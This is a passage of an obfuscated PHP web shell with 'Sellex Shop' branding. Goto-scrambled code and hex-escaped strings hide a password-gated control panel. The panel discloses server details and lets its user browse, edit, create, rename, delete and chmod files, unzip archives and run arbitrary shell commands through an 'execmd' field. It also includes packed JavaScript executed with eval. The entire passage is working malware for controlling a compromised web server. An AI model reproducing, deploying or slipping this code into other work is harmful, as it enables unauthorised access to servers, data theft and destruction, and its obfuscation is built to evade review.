(isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo "\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\60\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69